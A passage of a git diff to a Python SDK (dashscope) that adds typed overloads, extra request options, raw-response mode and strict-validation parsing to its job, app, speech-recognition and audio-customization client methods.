self._parse(resp.http_response) async def list( # pylint: disable=redefined-builtin self, @@ -540,9 +829,14 @@ async def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> JobList: - """List async tasks (1.x: ``GET /tasks`` with page_no/page_size).""" - response = await self._client.transport.request( + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """Async twin of :meth:`Jobs.list`.""" + resp = await self._client.transport.request_api( "GET", "/tasks", params=_list_params( @@ -559,12 +853,44 @@ async def list( # pylint: disable=redefined-builtin sdk_module=self._module, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers( - JobList.from_payload(response_json(response)), - response, + if raw: + return resp + resp.raise_for_status() + result = JobList.from_payload( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ) + result.bind_pagination( + lambda next_no, next_size: self.list( + start_time=start_time, + end_time=end_time, + model_name=model_name, + api_key_id=api_key_id, + region=region, + status=status, + page_no=next_no, + page_size=next_size, + timeout=timeout, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ), + requested_page_no=page_no, + requested_page_size=page_size, ) + return with_headers(result, resp.http_response) async def wait( self, @@ -575,19 +901,30 @@ async def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> Job: """Async twin of :meth:`Jobs.wait`, same compat-mode contract.""" task_id = job.task_id if isinstance(job, Job) else job sleep_fn = _sleep or asyncio.sleep deadline = time.monotonic() + timeout - current = ( + current: Job = ( job if isinstance(job, Job) - else await self.fetch( - task_id, - api_key=api_key, - workspace=workspace, + else cast( + Job, + await self.fetch( + task_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ), ) ) interval = poll_interval @@ -604,16 +941,30 @@ async def wait( ) await sleep_fn(min(interval, remaining)) interval = min(interval * 2, max_interval) - current = await self.fetch( - task_id, - api_key=api_key, - workspace=workspace, + current = cast( + Job, + await self.fetch( + task_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ), ) return self._check_canceled(current) def _parse(self, response: Any) -> Job: payload = response_json(response) - job = with_headers(Job.from_payload(payload), response) + job = with_headers( + Job.from_payload( + payload, + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) if job.status == FAILED and self._client.raise_on_error: raise error_from_business_code( message=job.message or f"task {job.task_id} failed", diff --git a/dashscope/resources/apps.py b/dashscope/resources/apps.py index 422ec276..48c5f0fc 100644 --- a/dashscope/resources/apps.py +++ b/dashscope/resources/apps.py @@ -12,22 +12,24 @@ import copy import json from typing import ( + TYPE_CHECKING, Any, AsyncIterator, Dict, Iterator, List, + Literal, + Mapping, Optional, Union, + overload, ) from pydantic import BaseModel, ConfigDict -from dashscope.errors import ( - check_response, - error_from_business_code, - response_json, -) +from dashscope.errors import error_from_business_code +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, Usage, @@ -35,6 +37,11 @@ with_headers, ) +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + __all__ = [ "AppCompletion", "AppCompletions", @@ -133,11 +140,21 @@ class AppCompletion(ResponseBase): usage: Optional[AppUsage] = None -def _parse(body: Dict[str, Any]) -> AppCompletion: +def _parse( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> AppCompletion: # An SSE frame is not guaranteed to be JSON; _try_json hands back the raw # string in that case. payload = flatten_envelope(body) if isinstance(body, dict) else {} - return AppCompletion(**payload) + return parse_model( + AppCompletion, + payload, + strict=strict, + response=response, + ) def _try_json(data: str) -> Any: @@ -291,16 +308,29 @@ def _raise_frame_error(data: str) -> None: ) -def _error_event(data: str) -> AppCompletion: +def _error_event( + data: str, + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> AppCompletion: # Non-raising mode: surface the stream error as a terminal event - # instead of silently truncating the stream. + # instead of silently truncating the stream. Built from a wire frame, + # so it degrades like any other parse -- raising here would replace a + # reported service error with an uncatchable schema error. body = _try_json(data) payload = body if isinstance(body, dict) else {} - return AppCompletion( - request_id=payload.get("request_id"), - code=payload.get("code"), - message=payload.get("message") or (None if payload else str(body)), - is_error=True, + return parse_model( + AppCompletion, + { + "request_id": payload.get("request_id"), + "code": payload.get("code"), + "message": payload.get("message") + or (None if payload else str(body)), + "is_error": True, + }, + strict=strict, + response=response, ) @@ -365,6 +395,108 @@ class AppCompletions: def __init__(self, client) -> None: self._client = client + @overload + def create( + self, + *, + app_id: str, + prompt: Optional[str] = None, + messages: Optional[List[Dict[str, Any]]] = None, + stream: Literal[True], + session_id: Optional[str] = None, + biz_params: Optional[Dict[str, Any]] = None, + has_thoughts: Optional[bool] = None, + doc_tag_codes: Optional[List[str]] = None, + doc_reference_type: Optional[str] = None, + memory_id: Optional[str] = None, + image_list: Optional[List[str]] = None, + file_list: Optional[List[str]] = None, + rag_options: Optional[Dict[str, Any]] = None, + incremental_output: Optional[bool] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + top_k: Optional[int] = None, + seed: Optional[int] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, + ) -> AppStream: + ... + + @overload + def create( + self, + *, + app_id: str, + prompt: Optional[str] = None, + messages: Optional[List[Dict[str, Any]]] = None, + stream: Literal[False] = False, + session_id: Optional[str] = None, + biz_params: Optional[Dict[str, Any]] = None, + has_thoughts: Optional[bool] = None, + doc_tag_codes: Optional[List[str]] = None, + doc_reference_type: Optional[str] = None, + memory_id: Optional[str] = None, + image_list: Optional[List[str]] = None, + file_list: Optional[List[str]] = None, + rag_options: Optional[Dict[str, Any]] = None, + incremental_output: Optional[bool] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + top_k: Optional[int] = None, + seed: Optional[int] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, + ) -> AppCompletion: + ... + + @overload + def create( + self, + *, + app_id: str, + prompt: Optional[str] = None, + messages: Optional[List[Dict[str, Any]]] = None, + stream: Literal[False] = False, + session_id: Optional[str] = None, + biz_params: Optional[Dict[str, Any]] = None, + has_thoughts: Optional[bool] = None, + doc_tag_codes: Optional[List[str]] = None, + doc_reference_type: Optional[str] = None, + memory_id: Optional[str] = None, + image_list: Optional[List[str]] = None, + file_list: Optional[List[str]] = None, + rag_options: Optional[Dict[str, Any]] = None, + incremental_output: Optional[bool] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + top_k: Optional[int] = None, + seed: Optional[int] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + def create( # pylint: disable=too-many-locals self, *, @@ -390,7 +522,12 @@ def create( # pylint: disable=too-many-locals timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Union[AppCompletion, AppStream]: + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[AppCompletion, AppStream, "APIResponse"]: """Call the application; ``stream=True`` returns an AppStream. Send ``prompt`` for one turn, ``messages`` for a transcript the @@ -401,8 +538,14 @@ def create( # pylint: disable=too-many-locals ``biz_params`` carries the application's own flow and plugin inputs; ``parameters`` holds model knobs and anything this signature does not name. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. """ _validate(app_id, prompt, messages) + if raw and stream: + raise ValueError("raw=True is not supported with stream=True") body = _build_body( prompt, messages, @@ -434,9 +577,15 @@ def create( # pylint: disable=too-many-locals timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) return AppStream(self._events(response), response) - response = transport.request( + resp = transport.request_api( "POST", path, json=body, @@ -444,19 +593,49 @@ def create( # pylint: disable=too-many-locals timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) def _events(self, response) -> Iterator[AppCompletion]: + # Snapshotted once per stream: a flag flipped mid-flight should not + # change how the frames already being delivered are parsed. + strict = self._client.config.strict_validation try: for is_error, data in _sse_frames(response): if is_error: if self._client.raise_on_error: _raise_frame_error(data) - yield with_headers(_error_event(data), response) + yield with_headers( + _error_event( + data, + strict=strict, + response=response, + ), + response, + ) return - yield _parse(_try_json(data)) + yield _parse( + _try_json(data), + strict=strict, + response=response, + ) finally: response.close() @@ -474,6 +653,108 @@ class AsyncAppCompletions: def __init__(self, client) -> None: self._client = client + @overload + async def create( + self, + *, + app_id: str, + prompt: Optional[str] = None, + messages: Optional[List[Dict[str, Any]]] = None, + stream: Literal[True], + session_id: Optional[str] = None, + biz_params: Optional[Dict[str, Any]] = None, + has_thoughts: Optional[bool] = None, + doc_tag_codes: Optional[List[str]] = None, + doc_reference_type: Optional[str] = None, + memory_id: Optional[str] = None, + image_list: Optional[List[str]] = None, + file_list: Optional[List[str]] = None, + rag_options: Optional[Dict[str, Any]] = None, + incremental_output: Optional[bool] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + top_k: Optional[int] = None, + seed: Optional[int] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, + ) -> AsyncAppStream: + ... + + @overload + async def create( + self, + *, + app_id: str, + prompt: Optional[str] = None, + messages: Optional[List[Dict[str, Any]]] = None, + stream: Literal[False] = False, + session_id: Optional[str] = None, + biz_params: Optional[Dict[str, Any]] = None, + has_thoughts: Optional[bool] = None, + doc_tag_codes: Optional[List[str]] = None, + doc_reference_type: Optional[str] = None, + memory_id: Optional[str] = None, + image_list: Optional[List[str]] = None, + file_list: Optional[List[str]] = None, + rag_options: Optional[Dict[str, Any]] = None, + incremental_output: Optional[bool] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + top_k: Optional[int] = None, + seed: Optional[int] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, + ) -> AppCompletion: + ... + + @overload + async def create( + self, + *, + app_id: str, + prompt: Optional[str] = None, + messages: Optional[List[Dict[str, Any]]] = None, + stream: Literal[False] = False, + session_id: Optional[str] = None, + biz_params: Optional[Dict[str, Any]] = None, + has_thoughts: Optional[bool] = None, + doc_tag_codes: Optional[List[str]] = None, + doc_reference_type: Optional[str] = None, + memory_id: Optional[str] = None, + image_list: Optional[List[str]] = None, + file_list: Optional[List[str]] = None, + rag_options: Optional[Dict[str, Any]] = None, + incremental_output: Optional[bool] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + top_k: Optional[int] = None, + seed: Optional[int] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + async def create( # pylint: disable=too-many-locals self, *, @@ -499,8 +780,21 @@ async def create( # pylint: disable=too-many-locals timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Union[AppCompletion, AsyncAppStream]: + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[AppCompletion, AsyncAppStream, "APIResponse"]: + """Async twin of :meth:`AppCompletions.create`. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ _validate(app_id, prompt, messages) + if raw and stream: + raise ValueError("raw=True is not supported with stream=True") body = _build_body( prompt, messages, @@ -532,9 +826,15 @@ async def create( # pylint: disable=too-many-locals timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) return AsyncAppStream(self._events(response), response) - response = await transport.request( + resp = await transport.request_api( "POST", path, json=body, @@ -542,11 +842,30 @@ async def create( # pylint: disable=too-many-locals timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) async def _events(self, response) -> AsyncIterator[AppCompletion]: + # Snapshotted once per stream: a flag flipped mid-flight should not + # change how the frames already being delivered are parsed. + strict = self._client.config.strict_validation try: is_error = False async for line in response.aiter_lines(): @@ -559,9 +878,20 @@ async def _events(self, response) -> AsyncIterator[AppCompletion]: if is_error: if self._client.raise_on_error: _raise_frame_error(data) - yield with_headers(_error_event(data), response) + yield with_headers( + _error_event( + data, + strict=strict, + response=response, + ), + response, + ) return - yield _parse(_try_json(data)) + yield _parse( + _try_json(data), + strict=strict, + response=response, + ) finally: await response.aclose() diff --git a/dashscope/resources/audio/asr.py b/dashscope/resources/audio/asr.py index 6565c3dc..a2a9c002 100644 --- a/dashscope/resources/audio/asr.py +++ b/dashscope/resources/audio/asr.py @@ -15,15 +15,18 @@ import os import time from typing import ( + TYPE_CHECKING, Any, Awaitable, Callable, Dict, Iterator, List, + Literal, Mapping, Optional, Union, + overload, ) from pydantic import BaseModel, ConfigDict, Field @@ -46,6 +49,10 @@ with_client_user_agent, ) from dashscope.transport.ws_connection import WsConnection, WsTask +from dashscope.types._parse import parse_model + +if TYPE_CHECKING: + from dashscope.transport._response import APIResponse __all__ = [ "Asr", @@ -120,6 +127,7 @@ def __init__(self, client) -> None: self._client = client self._jobs = Jobs(client, SERVICE, MODULE) + @overload def create( self, *, @@ -130,7 +138,54 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def create( + self, + *, + model: str, + file_urls: List[str], + parameters: Optional[Dict[str, Any]] = None, + phrase_id: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + file_urls: List[str], + parameters: Optional[Dict[str, Any]] = None, + phrase_id: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit a batch transcription task over one or more audio files. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return self._jobs.create( model=model, input=_input_for(file_urls), @@ -139,8 +194,14 @@ def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def fetch( self, task_id: str, @@ -148,12 +209,58 @@ def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return self._jobs.fetch( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) def wait( @@ -165,6 +272,10 @@ def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> Job: """Poll with backoff, without starting another poll after the deadline.""" @@ -174,7 +285,15 @@ def wait( current = ( job if isinstance(job, Job) - else self.fetch(task_id, api_key=api_key, workspace=workspace) + else self.fetch( + task_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ) ) interval = poll_interval while not current.finished: @@ -192,7 +311,15 @@ def wait( f"timed out after {timeout}s waiting for task {task_id}", ) interval = min(interval * 2, max_interval) - current = self.fetch(task_id, api_key=api_key, workspace=workspace) + current = self.fetch( + task_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ) return _check_terminal( current, raise_on_error=self._client.raise_on_error, @@ -204,6 +331,7 @@ def __init__(self, client) -> None: self._client = client self._jobs = AsyncJobs(client, SERVICE, MODULE) + @overload async def create( self, *, @@ -214,7 +342,54 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def create( + self, + *, + model: str, + file_urls: List[str], + parameters: Optional[Dict[str, Any]] = None, + phrase_id: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + file_urls: List[str], + parameters: Optional[Dict[str, Any]] = None, + phrase_id: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit a batch transcription task over one or more audio files. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return await self._jobs.create( model=model, input=_input_for(file_urls), @@ -223,8 +398,14 @@ async def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def fetch( self, task_id: str, @@ -232,12 +413,58 @@ async def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return await self._jobs.fetch( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) async def wait( @@ -249,6 +476,10 @@ async def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> Job: """Async twin of :meth:`TranscriptionJobs.wait`.""" @@ -262,6 +493,10 @@ async def wait( task_id, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) ) interval = poll_interval @@ -284,6 +519,10 @@ async def wait( task_id, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return _check_terminal( current, @@ -348,6 +587,10 @@ def __init__( workspace: Optional[str] = None, ) -> None: config = client.config + # Kept as the live config, not a snapshot of one flag: every other + # resource reads ``strict_validation`` at parse time, and a session + # can outlive the setting it was opened with. + self._config = config self._model = model merged = {"format": format, "sample_rate": sample_rate} if parameters: @@ -459,11 +702,19 @@ def events(self) -> Iterator[Dict[str, Any]]: event = session.recv_event() self.last_response = event self._request_id = session.request_id - payload = event.get("payload") or {} + payload = event.get("payload") + if not isinstance(payload, dict): + payload = {} if payload.get("usage") is not None: self.usage = payload["usage"] - output = payload.get("output") or {} - sentence = output.get("sentence") or {} + # Metrics are best-effort: a frame whose ``output`` drifted to a + # non-dict still gets yielded, it just has no sentence to time. + output = payload.get("output") + if not isinstance(output, dict): + output = {} + sentence = output.get("sentence") + if not isinstance(sentence, dict): + sentence = {} has_text = bool( sentence.get("text") and not sentence.get("heartbeat"), ) @@ -498,9 +749,16 @@ def results(self) -> Iterator[RecognitionResult]: for event in self.events(): if event["header"].get("event") != EVENT_GENERATED: continue - data = dict(event.get("payload") or {}) + payload = event.get("payload") + data = dict(payload) if isinstance(payload, dict) else {} data.setdefault("request_id", event["header"].get("request_id")) - result = RecognitionResult.model_validate(data) + # No ``response``: this frame arrived over a websocket, so there + # is no httpx.Response for a strict failure to carry. + result = parse_model( + RecognitionResult, + data, + strict=self._config.strict_validation, + ) sentence = result.get_sentence() if sentence and sentence.get("heartbeat"): continue @@ -527,6 +785,10 @@ def transcribe( max_interval: float = DEFAULT_MAX_INTERVAL, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Job: """Submit and wait; output.results carries per-file transcripts. @@ -541,6 +803,10 @@ def transcribe( timeout=submit_timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return self.jobs.wait( job, @@ -549,6 +815,10 @@ def transcribe( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) def recognize( @@ -664,6 +934,10 @@ async def transcribe( max_interval: float = DEFAULT_MAX_INTERVAL, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Job: """Submit and wait; output.results carries per-file transcripts. @@ -678,6 +952,10 @@ async def transcribe( timeout=submit_timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return await self.jobs.wait( job, @@ -686,4 +964,8 @@ async def transcribe( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) diff --git a/dashscope/resources/audio/customization.py b/dashscope/resources/audio/customization.py index 953363b2..343be9ac 100644 --- a/dashscope/resources/audio/customization.py +++ b/dashscope/resources/audio/customization.py @@ -20,10 +20,22 @@ from __future__ import annotations -from typing import Any, Dict, List, Mapping, Optional +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import AliasChoices, Field +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( JobStatus, ResponseBase, @@ -32,6 +44,9 @@ with_headers, ) +if TYPE_CHECKING: + from dashscope.transport._response import APIResponse + __all__ = [ "DesignedVoice", "DesignedVoiceList", @@ -126,14 +141,23 @@ def _call( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Any: + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + ) -> "APIResponse": + """POST one customization action; returns the unchecked response. + + Callers decide between the raw :class:`APIResponse` and the parsed + model, so nothing here inspects the status or the body. + """ body: Dict[str, Any] = { "model": model or self.DEFAULT_MODEL, "input": {**fields, "action": action}, } if parameters is not None: body["parameters"] = parameters - response = self._client.transport.request( + return self._client.transport.request_api( "POST", self.PATH, json=body, @@ -142,8 +166,14 @@ def _call( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - return response def _parse_response(self, response: Any) -> Dict[str, Any]: return flatten_envelope( @@ -153,6 +183,15 @@ def _parse_response(self, response: Any) -> Dict[str, Any]: ), ) + def _parse_model(self, model_cls, response: Any): + """Build one response model, degrading rather than raising.""" + return parse_model( + model_cls, + self._parse_response(response), + strict=self._client.config.strict_validation, + response=response, + ) + class Vocabularies(_CustomizationBase): """``client.audio.vocabularies`` -- asr hot-word tables.""" @@ -160,6 +199,7 @@ class Vocabularies(_CustomizationBase): PATH = "/services/audio/asr/customization" DEFAULT_MODEL = "speech-biasing" + @overload def create( self, *, @@ -172,9 +212,62 @@ def create( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: 